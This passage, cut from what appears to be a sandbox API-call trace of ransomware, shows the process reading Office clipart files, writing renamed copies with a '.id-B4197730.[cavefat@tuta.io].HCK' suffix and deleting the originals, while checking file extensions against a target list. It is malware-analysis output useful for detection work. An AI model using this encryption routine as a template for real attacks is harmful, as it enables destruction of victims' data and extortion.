lpString2=".WMF") returned -1 [0179.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00737_.WMF") returned 68 [0179.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00737_.WMF") returned 68 [0179.218] lstrlenW (lpString=".doc") returned 4 [0179.218] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.218] lstrlenW (lpString=".docx") returned 5 [0179.218] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.218] lstrlenW (lpString=".pdf") returned 4 [0179.218] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.218] lstrlenW (lpString=".xls") returned 4 [0179.218] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.218] lstrlenW (lpString=".xlsx") returned 5 [0179.218] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.218] lstrlenW (lpString=".ppt") returned 4 [0179.218] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00737_.WMF") returned 68 [0179.218] lstrlenW (lpString=".zip") returned 4 [0179.218] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.218] lstrlenW (lpString=".rar") returned 4 [0179.218] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.218] lstrlenW (lpString=".bz2") returned 4 [0179.218] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.218] lstrlenW (lpString=".7z") returned 3 [0179.218] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00737_.WMF") returned 68 [0179.218] lstrlenW (lpString=".dbf") returned 4 [0179.219] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00737_.WMF") returned 68 [0179.219] lstrlenW (lpString=".1cd") returned 4 [0179.219] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00737_.WMF") returned 68 [0179.219] lstrlenW (lpString=".jpg") returned 4 [0179.219] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.219] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.219] lstrlenW (lpString="PE00998_.WMF") returned 12 [0179.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00998_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00998_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.220] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=10500) returned 1 [0179.220] CloseHandle (hObject=0x2fc) returned 1 [0179.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00998_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00998_.wmf")) returned 0x220 [0179.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00998_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00998_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00998_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00998_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0179.222] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.222] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00998_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00998_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.229] GetLastError () returned 0x0 [0179.229] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x2904, lpOverlapped=0x0) returned 1 [0179.231] WriteFile (in: hFile=0x370, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x2910, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x2910, lpOverlapped=0x0) returned 1 [0179.231] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.232] WriteFile (in: hFile=0x370, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.232] SetEndOfFile (hFile=0x370) returned 1 [0179.233] CloseHandle (hObject=0x370) returned 1 [0179.236] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.236] SetEndOfFile (hFile=0x39c) returned 1 [0179.241] CloseHandle (hObject=0x39c) returned 1 [0179.241] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00998_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.241] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00998_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00998_.wmf")) returned 1 [0179.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00998_.WMF") returned 68 [0179.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00998_.WMF") returned 68 [0179.241] lstrlenW (lpString=".doc") returned 4 [0179.241] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.241] lstrlenW (lpString=".docx") returned 5 [0179.241] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.242] lstrlenW (lpString=".pdf") returned 4 [0179.242] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.242] lstrlenW (lpString=".xls") returned 4 [0179.242] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.242] lstrlenW (lpString=".xlsx") returned 5 [0179.242] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.242] lstrlenW (lpString=".ppt") returned 4 [0179.242] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00998_.WMF") returned 68 [0179.242] lstrlenW (lpString=".zip") returned 4 [0179.242] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.242] lstrlenW (lpString=".rar") returned 4 [0179.242] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.242] lstrlenW (lpString=".bz2") returned 4 [0179.242] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.242] lstrlenW (lpString=".7z") returned 3 [0179.242] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00998_.WMF") returned 68 [0179.242] lstrlenW (lpString=".dbf") returned 4 [0179.242] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00998_.WMF") returned 68 [0179.242] lstrlenW (lpString=".1cd") returned 4 [0179.242] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00998_.WMF") returned 68 [0179.242] lstrlenW (lpString=".jpg") returned 4 [0179.242] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00998_.WMF") returned 68 [0179.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00998_.WMF") returned 68 [0179.242] lstrlenW (lpString=".doc") returned 4 [0179.242] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.242] lstrlenW (lpString=".docx") returned 5 [0179.242] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.242] lstrlenW (lpString=".pdf") returned 4 [0179.242] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.242] lstrlenW (lpString=".xls") returned 4 [0179.242] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.242] lstrlenW (lpString=".xlsx") returned 5 [0179.242] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.242] lstrlenW (lpString=".ppt") returned 4 [0179.242] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00998_.WMF") returned 68 [0179.242] lstrlenW (lpString=".zip") returned 4 [0179.242] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.242] lstrlenW (lpString=".rar") returned 4 [0179.242] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.242] lstrlenW (lpString=".bz2") returned 4 [0179.242] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.242] lstrlenW (lpString=".7z") returned 3 [0179.242] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00998_.WMF") returned 68 [0179.242] lstrlenW (lpString=".dbf") returned 4 [0179.242] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00998_.WMF") returned 68 [0179.243] lstrlenW (lpString=".1cd") returned 4 [0179.243] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00998_.WMF") returned 68 [0179.243] lstrlenW (lpString=".jpg") returned 4 [0179.243] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.243] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.243] lstrlenW (lpString="PE01661_.WMF") returned 12 [0179.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01661_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe01661_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0179.245] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=5144) returned 1 [0179.245] CloseHandle (hObject=0x368) returned 1 [0179.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01661_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe01661_.wmf")) returned 0x220 [0179.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01661_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe01661_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01661_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe01661_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0179.248] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.248] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01661_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe01661_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0179.253] GetLastError () returned 0x0 [0179.253] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x1418, lpOverlapped=0x0) returned 1 [0179.256] WriteFile (in: hFile=0x3a4, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x1420, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x1420, lpOverlapped=0x0) returned 1 [0179.257] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.257] WriteFile (in: hFile=0x3a4, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.258] SetEndOfFile (hFile=0x3a4) returned 1 [0179.259] CloseHandle (hObject=0x3a4) returned 1 [0179.262] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.262] SetEndOfFile (hFile=0x39c) returned 1 [0179.268] CloseHandle (hObject=0x39c) returned 1 [0179.269] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01661_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.269] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01661_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe01661_.wmf")) returned 1 [0179.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01661_.WMF") returned 68 [0179.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01661_.WMF") returned 68 [0179.270] lstrlenW (lpString=".doc") returned 4 [0179.270] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.270] lstrlenW (lpString=".docx") returned 5 [0179.270] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.270] lstrlenW (lpString=".pdf") returned 4 [0179.270] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.270] lstrlenW (lpString=".xls") returned 4 [0179.271] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.271] lstrlenW (lpString=".xlsx") returned 5 [0179.271] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.271] lstrlenW (lpString=".ppt") returned 4 [0179.271] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01661_.WMF") returned 68 [0179.271] lstrlenW (lpString=".zip") returned 4 [0179.271] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.271] lstrlenW (lpString=".rar") returned 4 [0179.271] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.271] lstrlenW (lpString=".bz2") returned 4 [0179.271] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.271] lstrlenW (lpString=".7z") returned 3 [0179.271] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01661_.WMF") returned 68 [0179.271] lstrlenW (lpString=".dbf") returned 4 [0179.271] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01661_.WMF") returned 68 [0179.271] lstrlenW (lpString=".1cd") returned 4 [0179.271] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01661_.WMF") returned 68 [0179.271] lstrlenW (lpString=".jpg") returned 4 [0179.271] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01661_.WMF") returned 68 [0179.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01661_.WMF") returned 68 [0179.271] lstrlenW (lpString=".doc") returned 4 [0179.271] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.271] lstrlenW (lpString=".docx") returned 5 [0179.271] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.271] lstrlenW (lpString=".pdf") returned 4 [0179.271] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.271] lstrlenW (lpString=".xls") returned 4 [0179.271] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.271] lstrlenW (lpString=".xlsx") returned 5 [0179.271] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.271] lstrlenW (lpString=".ppt") returned 4 [0179.271] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01661_.WMF") returned 68 [0179.271] lstrlenW (lpString=".zip") returned 4 [0179.271] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.271] lstrlenW (lpString=".rar") returned 4 [0179.271] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.271] lstrlenW (lpString=".bz2") returned 4 [0179.271] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.271] lstrlenW (lpString=".7z") returned 3 [0179.271] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01661_.WMF") returned 68 [0179.271] lstrlenW (lpString=".dbf") returned 4 [0179.271] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01661_.WMF") returned 68 [0179.271] lstrlenW (lpString=".1cd") returned 4 [0179.272] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01661_.WMF") returned 68 [0179.272] lstrlenW (lpString=".jpg") returned 4 [0179.272] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.272] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.272] lstrlenW (lpString="PE02262_.WMF") returned 12 [0179.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02262_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.272] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=30178) returned 1 [0179.272] CloseHandle (hObject=0x2fc) returned 1 [0179.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02262_.wmf")) returned 0x220 [0179.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02262_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02262_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02262_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0179.276] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.276] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02262_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02262_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.281] GetLastError () returned 0x0 [0179.281] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x75e2, lpOverlapped=0x0) returned 1 [0179.283] WriteFile (in: hFile=0x370, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x75f0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x75f0, lpOverlapped=0x0) returned 1 [0179.284] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.284] WriteFile (in: hFile=0x370, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.284] SetEndOfFile (hFile=0x370) returned 1 [0179.287] CloseHandle (hObject=0x370) returned 1 [0179.288] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.288] SetEndOfFile (hFile=0x368) returned 1 [0179.292] CloseHandle (hObject=0x368) returned 1 [0179.293] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02262_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.293] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02262_.wmf")) returned 1 [0179.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02262_.WMF") returned 68 [0179.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02262_.WMF") returned 68 [0179.295] lstrlenW (lpString=".doc") returned 4 [0179.295] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.295] lstrlenW (lpString=".docx") returned 5 [0179.295] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.295] lstrlenW (lpString=".pdf") returned 4 [0179.295] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.295] lstrlenW (lpString=".xls") returned 4 [0179.295] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.295] lstrlenW (lpString=".xlsx") returned 5 [0179.295] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.295] lstrlenW (lpString=".ppt") returned 4 [0179.295] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02262_.WMF") returned 68 [0179.295] lstrlenW (lpString=".zip") returned 4 [0179.295] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.295] lstrlenW (lpString=".rar") returned 4 [0179.295] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.295] lstrlenW (lpString=".bz2") returned 4 [0179.295] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.295] lstrlenW (lpString=".7z") returned 3 [0179.295] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02262_.WMF") returned 68 [0179.295] lstrlenW (lpString=".dbf") returned 4 [0179.295] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02262_.WMF") returned 68 [0179.295] lstrlenW (lpString=".1cd") returned 4 [0179.295] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02262_.WMF") returned 68 [0179.295] lstrlenW (lpString=".jpg") returned 4 [0179.295] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02262_.WMF") returned 68 [0179.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02262_.WMF") returned 68 [0179.295] lstrlenW (lpString=".doc") returned 4 [0179.295] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.295] lstrlenW (lpString=".docx") returned 5 [0179.295] 